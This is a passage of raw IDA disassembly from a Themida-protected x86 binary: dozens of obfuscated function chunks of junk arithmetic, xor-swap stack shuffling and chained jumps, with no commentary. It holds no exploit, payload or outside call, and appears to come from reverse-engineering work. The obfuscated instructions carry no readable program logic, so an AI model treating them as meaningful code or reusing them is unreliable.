; END OF FUNCTION CHUNK	FOR sub_567049
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5642C7


loc_560C8B:				; CODE XREF: sub_5642C7+9j
		pop	ebx
		jmp	loc_561B09
; END OF FUNCTION CHUNK	FOR sub_5642C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_560C91:				; CODE XREF: sub_56AEF2+9895j
		or	esi, 19BE3A0Dh
		neg	esi
		not	esi
		add	esi, 0E601C1F8h
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp-4+arg_0]
		jmp	loc_57457B
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_562AF2
; ---------------------------------------------------------------------------


loc_560CB5:				; CODE XREF: Themida_:0056A114j
		add	esp, 4
		push	edx
		jmp	loc_5685C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_560CBE:				; CODE XREF: sub_5685B2-3DD2j
		push	eax
		mov	ah, 37h
		push	ecx
		mov	cl, 88h
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	bh, 61h
		sub	cl, bh
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		neg	cl
		jmp	loc_56B615
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_560CE1:				; CODE XREF: sub_561418+A796j
		mov	edx, 36163Ah
		push	ebp
		mov	ebp, 1D2F056Dh
		jmp	loc_56791A
; END OF FUNCTION CHUNK	FOR sub_561418

; =============== S U B	R O U T	I N E =======================================



sub_560CF1	proc near		; CODE XREF: sub_56FCD7-A7D1j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560789 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00561746 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005619AF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005639E7 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056568B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565DBC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056619E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056A065 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056A5A9 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056FEF4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00570005 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057033B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00572AA6 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00573E7C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0057478C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00575132 SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	5471h
		mov	[esp+8+var_8], ecx
		mov	ecx, 657717C1h
		mov	edx, 657716C1h
		xor	edx, ecx
		mov	ecx, [esp+8+var_8]
		jmp	loc_573E7C
sub_560CF1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_560D16:				; CODE XREF: sub_561027+13589j
		pop	edx
		push	edi
		jmp	loc_570A1B
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EFD2


loc_560D1D:				; CODE XREF: sub_56EFD2-671Ej
		add	edi, ebp
		sub	edi, 5D9A5487h
		push	[esp+4+var_4]
		pop	ebp
		add	esp, 4
		jmp	loc_562F18
; END OF FUNCTION CHUNK	FOR sub_56EFD2

; =============== S U B	R O U T	I N E =======================================



sub_560D31	proc near		; CODE XREF: sub_562954+105F5j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0056392A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005683DD SIZE 0000003F BYTES
; FUNCTION CHUNK AT 00568AAC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00568C2F SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00570B05 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00573B7D SIZE 0000002A BYTES

		push	ebx
		mov	ebx, 636235EDh
		sub	ebp, 32DD4972h
		add	ebp, ebx
		push	edi
		mov	edi, 1B4359FBh
		neg	edi
		sub	edi, 1
		xor	edi, 0D661EF76h
		add	ebp, edi
		pop	edi
		jmp	loc_570B05
sub_560D31	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563BCC


loc_560D5B:				; CODE XREF: sub_563BCC+32AFj
		pop	edi
		add	edi, 4
		jmp	loc_566728
; END OF FUNCTION CHUNK	FOR sub_563BCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56959A


loc_560D67:				; CODE XREF: sub_56959A+19j
		mov	[esp+0Ch+var_C], eax
		mov	eax, 6CE405B1h
		and	eax, 2C451168h
		inc	eax
		and	eax, 38F81530h
		jmp	loc_572B7C
; END OF FUNCTION CHUNK	FOR sub_56959A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56638C


loc_560D7F:				; CODE XREF: sub_56638C+A749j
		add	eax, 1A980468h
		add	edx, eax
		pop	eax
		push	[esp+2+var_4+2]
		pop	ebx
		add	esp, 4
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		mov	esp, [esp+0]
		movzx	cx, al
		push	small 95Fh
		mov	[esp+0], cx
		jmp	loc_5710F7
; END OF FUNCTION CHUNK	FOR sub_56638C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_560DAE:				; CODE XREF: sub_5685B2+3068j
		or	ah, cl
		push	[esp+4+var_4]
		pop	ecx
		jmp	loc_561B28
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5604FE


loc_560DB9:				; CODE XREF: sub_5604FE+C388j
		add	esp, 4
		xor	ecx, [esp+4+var_4]
		xor	[esp+4+var_4], ecx
		xor	ecx, [esp+4+var_4]
		pop	esp
		jmp	loc_57434B
; END OF FUNCTION CHUNK	FOR sub_5604FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560EA2


loc_560DCE:				; CODE XREF: sub_560EA2+11FA5j
		sub	ecx, 68BC3DC5h
		sub	ecx, ebx
		add	ecx, 68BC3DC5h
		jmp	loc_57100B
; END OF FUNCTION CHUNK	FOR sub_560EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_560DE1:				; CODE XREF: sub_571F6F-DDAFj
		pop	ecx
		jmp	loc_56DE94
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563819


loc_560DE7:				; CODE XREF: sub_563819+6j
		mov	eax, 57EC76A7h
		sub	eax, 29DB4243h
		sub	eax, ebp
		jmp	loc_560A5F
; END OF FUNCTION CHUNK	FOR sub_563819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_560DF8:				; CODE XREF: sub_561027+85A3j
		add	esp, 4
		push	ecx
		mov	ecx, 513E79FBh
		add	ecx, 1195E843h
		add	edx, ecx
		pop	ecx
		push	[esp-4+arg_0]
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		and	eax, edx
		pop	edx
		jmp	loc_572A28
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5610CE


loc_560E29:				; CODE XREF: sub_5610CE+1363Bj
		pop	ebp
		add	esi, 4
		xor	esi, [esp+4+var_4]
		jmp	loc_563E62
; END OF FUNCTION CHUNK	FOR sub_5610CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DA43


loc_560E35:				; CODE XREF: sub_56DA43+43FCj
		add	esi, 4
		jmp	loc_56505A
; END OF FUNCTION CHUNK	FOR sub_56DA43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_560E40:				; CODE XREF: sub_5620B7+34ECj
		xor	bl, al
		push	52AAh
		mov	[esp], edx
		push	59C4471Dh
		pop	edx
		add	edx, 2BB05464h
		shr	edx, 3
		jmp	loc_568C75
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------


loc_560E5E:				; CODE XREF: Themida_:00562355j
		push	ebx
		jmp	loc_573C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_560E64:				; CODE XREF: sub_569FB8+3j
		push	small 68B9h
		jmp	loc_571BE6
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_560E6D:				; CODE XREF: sub_57354D-63Bj
		push	esi
		mov	esi, 5C711D79h
		or	esi, 57865D78h
		jmp	loc_5682F5
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574000


loc_560E7E:				; CODE XREF: sub_574000-9BA4j
		not	eax
		neg	eax
		xor	eax, 0CFF71D8h
		add	esi, eax
		pop	eax
		pop	ebp
		jmp	loc_570360
; END OF FUNCTION CHUNK	FOR sub_574000
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574949


loc_560E90:				; CODE XREF: sub_574949-FF16j
		sub	cl, 0DAh
		inc	cl
		push	edx
		mov	dh, 56h
		add	dh, 0E0h
		not	dh
		jmp	loc_56514F
; END OF FUNCTION CHUNK	FOR sub_574949

; =============== S U B	R O U T	I N E =======================================



sub_560EA2	proc near		; DATA XREF: Themida_:0055FE48o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00560DCE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00563060 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00563417 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005643DE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005655C1 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005679D6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00568206 SIZE 00000050 BYTES
; FUNCTION CHUNK AT 0056B7F0 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056BECD SIZE 0000004D BYTES
; FUNCTION CHUNK AT 0056D31C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056DDFE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056EE17 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0057100B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00571792 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00572B46 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00572D66 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00572E36 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00573F4A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057436C SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00574DF9 SIZE 00000031 BYTES

		lodsd
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 49C139Eh
		sub	eax, ebx
		mov	ebx, [esp+4+var_4]
		jmp	loc_5679D6
sub_560EA2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_560EB8:				; CODE XREF: sub_574304-D7DDj
		mov	ecx, 123A483Ch
		jmp	loc_56D89C
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	361Bh
		mov	[esp], edi
		jmp	loc_56A3E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_560ED3:				; CODE XREF: sub_5678CB+CE6Aj
		pop	esp
		mov	[esp-4+arg_0], edx
		mov	dl, 0CAh
		sub	bl, dl
		push	[esp-4+arg_0]
		push	dword ptr [esp+0]
		pop	edx
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		sub	bl, 0F7h
		sub	bl, al
		push	eax
		jmp	loc_561A2B
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B1DC


loc_560F03:				; CODE XREF: sub_56B1DC+4F01j
		add	esi, edi
		pop	edi
		jmp	loc_573642
; END OF FUNCTION CHUNK	FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_560F0B:				; CODE XREF: sub_56657A+390Fj
		pop	ecx
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_568FFA
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570621


loc_560F14:				; CODE XREF: sub_570621-E1D2j
		xchg	ebp, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		mov	edx, [esp+8+var_8]
		jmp	loc_5625D6
; END OF FUNCTION CHUNK	FOR sub_570621
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B1DC


loc_560F33:				; CODE XREF: sub_56B1DC+4A7Cj
		add	esp, 4
		jmp	loc_566A41
; END OF FUNCTION CHUNK	FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CDD


loc_560F3E:				; CODE XREF: sub_574CDD+6j
		mov	eax, 4
		add	ebp, eax
		jmp	loc_573C2B
; END OF FUNCTION CHUNK	FOR sub_574CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_560F4A:				; CODE XREF: sub_57354D-BCB9j
		pop	ebp
		jmp	loc_5709E4
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574FC9


loc_560F50:				; CODE XREF: sub_574FC9-BF63j
		xor	edi, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], edi
		xor	edi, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_56DB8D
; END OF FUNCTION CHUNK	FOR sub_574FC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D72


loc_560F5F:				; CODE XREF: sub_567D72-695Fj
		add	esi, 4
		jmp	loc_56F65B
; END OF FUNCTION CHUNK	FOR sub_567D72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_560F6A:				; CODE XREF: sub_574A21-11F34j
		mov	edx, 4D362769h
		push	ecx
		mov	ecx, 52B92B40h
		shl	ecx, 4
		shr	ecx, 3
		sub	ecx, 0FFFFFFFFh
		add	ecx, 65C4D7C4h
		add	edx, ecx
		pop	ecx
		push	edi
		jmp	loc_56A51B
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_560F8D:				; CODE XREF: sub_564D26+2569j
		pop	edi
		shl	edx, 4
		sub	edx, 33577B90h
		jmp	loc_56AA60
; ---------------------------------------------------------------------------


loc_560F9C:				; CODE XREF: sub_564D26+5D46j
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		push	3397h
		mov	[esp+10h+var_10], eax
		jmp	loc_56F231
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5648C6


loc_560FB1:				; CODE XREF: sub_5648C6-6ADj
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		jmp	loc_56BB65
; END OF FUNCTION CHUNK	FOR sub_5648C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A7FB


loc_560FBF:				; CODE XREF: sub_56A7FB-5C5Dj
		mov	dh, 0A7h
		mov	ch, 0B2h
		jmp	loc_56296A
; END OF FUNCTION CHUNK	FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567D31


loc_560FC8:				; CODE XREF: sub_567D31+9022j
		add	ebp, 2916934h
		xor	ebp, 4F3B18F2h
		add	ebp, 74760D45h
		jmp	loc_5653B8
; END OF FUNCTION CHUNK	FOR sub_567D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_560FDF:				; CODE XREF: sub_571088-1F81j
		mov	[esp+4+var_4], edi
		mov	edi, 4
		sub	ebp, 3B4154EFh
		sub	ebp, edi
		push	edi
		jmp	loc_56F878
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572E16


loc_560FF5:				; CODE XREF: sub_572E16-D8CEj
		pop	edi
		xchg	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mov	[esp-4+arg_0], eax
		push	ebx
		sub	esp, 4
		mov	[esp+4+var_4], esi
		push	ecx
		add	[esp+8+var_8], 75D05E9Bh
		pop	esi
		sub	esi, 75D05E9Bh
		jmp	loc_56AF59
; END OF FUNCTION CHUNK	FOR sub_572E16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574949


loc_56101D:				; CODE XREF: sub_574949-6F32j
		not	ebx
		xchg	ebx, esi
		dec	esi
		jmp	loc_560B61
; END OF FUNCTION CHUNK	FOR sub_574949

; =============== S U B	R O U T	I N E =======================================



sub_561027	proc near		; CODE XREF: sub_560056+1E06j

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00560912 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00560BB9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00560D16 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00560DF8 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0056254A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00562D37 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00564163 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005643FF SIZE 00000042 BYTES
; FUNCTION CHUNK AT 00564771 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00564EC6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005659D2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00566986 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00567019 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005678F4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00568256 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005695C4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005697B4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00569C48 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056A647 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056ACB8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056BB4A SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056BCF1 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0056C1A1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056C283 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056C4D7 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056CE64 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056D8D0 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056F50F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00570567 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570A1B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005713DE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0057195F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00571B3F SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005727E6 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00572A28 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005731F2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00573270 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005737D5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00573909 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00573A4F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00574593 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00574CE8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00575103 SIZE 0000000D BYTES

		push	ebx
		jmp	loc_5731F2
sub_561027	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_56102D	proc near		; CODE XREF: sub_56C474-1431j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005608DA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00560AE6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056229B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00562B7E SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00563875 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005657AB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056777D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005677A6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056786F SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005694CA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569B21 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00569DC3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056AA20 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056AD68 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056BDB1 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056D634 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056F156 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0056FD5E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005700E2 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0057232B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00573BDD SIZE 0000000F BYTES

		push	ebx
		jmp	loc_5657AB
sub_56102D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C295


loc_561033:				; CODE XREF: sub_56C295-8F44j
		pop	eax
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp-0Ch+arg_8]
		pop	esp
		jmp	sub_56C553
; END OF FUNCTION CHUNK	FOR sub_56C295
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_561040:				; CODE XREF: sub_56241E+C9DFj
		add	esp, 4
		and	dx, cx
		push	[esp+8+var_8]
		pop	ecx
		add	esp, 4
		push	cx
		mov	cx, 3898h
		jmp	loc_562962
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A75


loc_56105E:				; CODE XREF: sub_569A75+41ADj
		mov	bh, cl
		mov	ecx, [esp+6+var_6]
		add	esp, 4
		jmp	loc_571B76
; END OF FUNCTION CHUNK	FOR sub_569A75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56651E


loc_56106B:				; CODE XREF: sub_56651E+9C9Fj
		sub	ebx, 1D9C607Eh
		add	ebx, ecx
		add	ebx, 1D9C607Eh
		jmp	loc_563F44
; END OF FUNCTION CHUNK	FOR sub_56651E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_56107E:				; CODE XREF: sub_5673C3+2477j
		xor	edi, [esp+0]
		xor	[esp+0], edi
		xor	edi, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], ecx
		mov	ecx, 0FFFFh
		mov	esi, ecx
		push	[esp-4+arg_0]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_56A968
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A75


loc_5610AD:				; CODE XREF: sub_569A75+6559j
		add	al, 1Dh
		jmp	loc_572D5A
; END OF FUNCTION CHUNK	FOR sub_569A75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56666D


loc_5610B4:				; CODE XREF: sub_56666D+1386j
		pop	edi
		add	esp, 4
		shr	ecx, 5
		jmp	sub_575315
; END OF FUNCTION CHUNK	FOR sub_56666D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574229


loc_5610C3:				; CODE XREF: sub_574229+3j
		sub	al, 28h
		add	al, bl
		add	al, 28h
		jmp	sub_5678CB
; END OF FUNCTION CHUNK	FOR sub_574229

; =============== S U B	R O U T	I N E =======================================



sub_5610CE	proc near		; CODE XREF: sub_560066+125CEj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560B21 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00560E29 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005628C4 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00563E62 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00564FAC SIZE 00000054 BYTES
; FUNCTION CHUNK AT 0056508C SIZE 00000037 BYTES
; FUNCTION CHUNK AT 00568A5E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056F379 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057123E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005746FC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005754AD SIZE 00000020 BYTES

		push	ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 561B5B60h
		shr	edi, 3
		shr	edi, 1
		shr	edi, 6
		push	ebx
		mov	ebx, 1D4E7F0Ah
		or	edi, ebx
		pop	ebx
		jmp	loc_564FAC
sub_5610CE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5684A6


loc_5610ED:				; CODE XREF: sub_5684A6+5j
		mov	[esp+4+var_4], esi
		sub	esp, 4
		mov	[esp+8+var_8], esp
		jmp	loc_566C1C
; END OF FUNCTION CHUNK	FOR sub_5684A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566400


loc_5610FE:				; CODE XREF: sub_566400+6D5Dj
		shl	edi, 4
		sub	edi, 15FB76FFh
		jmp	loc_56F24B
; END OF FUNCTION CHUNK	FOR sub_566400
; ---------------------------------------------------------------------------


loc_56110C:				; CODE XREF: Themida_:0056A683j
		mov	ebp, [esp]
		add	esp, 4
		add	edi, edx
		pop	edx
		sub	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_56FD26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563DCB


loc_561126:				; CODE XREF: sub_563DCB-39DDj
		pop	ecx
		push	edi
		mov	edi, 2
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		mov	word ptr [esp-8+arg_4],	dx
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 487954F9h
		shr	edi, 6
		jmp	loc_56A4CB
; END OF FUNCTION CHUNK	FOR sub_563DCB
; ---------------------------------------------------------------------------


loc_56114E:				; CODE XREF: Themida_:00568D2Cj
		pop	ebx
		push	edx
		mov	edx, 7C8283Dh
		jmp	loc_56136D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56115A:				; CODE XREF: sub_563A7F+4FDAj
		mov	[esp+0Ch+var_C], ecx
		mov	cl, 0D4h
		add	cl, 5Bh
		jmp	loc_57174B
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_561167:				; CODE XREF: sub_574304-9A95j
		pop	ebp
		add	esp, 4
		jmp	loc_571A18
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------


loc_561173:				; CODE XREF: Themida_:00569AF9j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		idiv	cx
		jmp	loc_574200
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563DCB


loc_561187:				; CODE XREF: sub_563DCB+59E4j
		mov	[esp+0], eax
		jmp	loc_56C194
; END OF FUNCTION CHUNK	FOR sub_563DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E5BB


loc_56118F:				; CODE XREF: sub_56E5BB+10j
		pop	ecx
		add	esp, 4
		add	ecx, 4
		jmp	loc_56A813
; END OF FUNCTION CHUNK	FOR sub_56E5BB
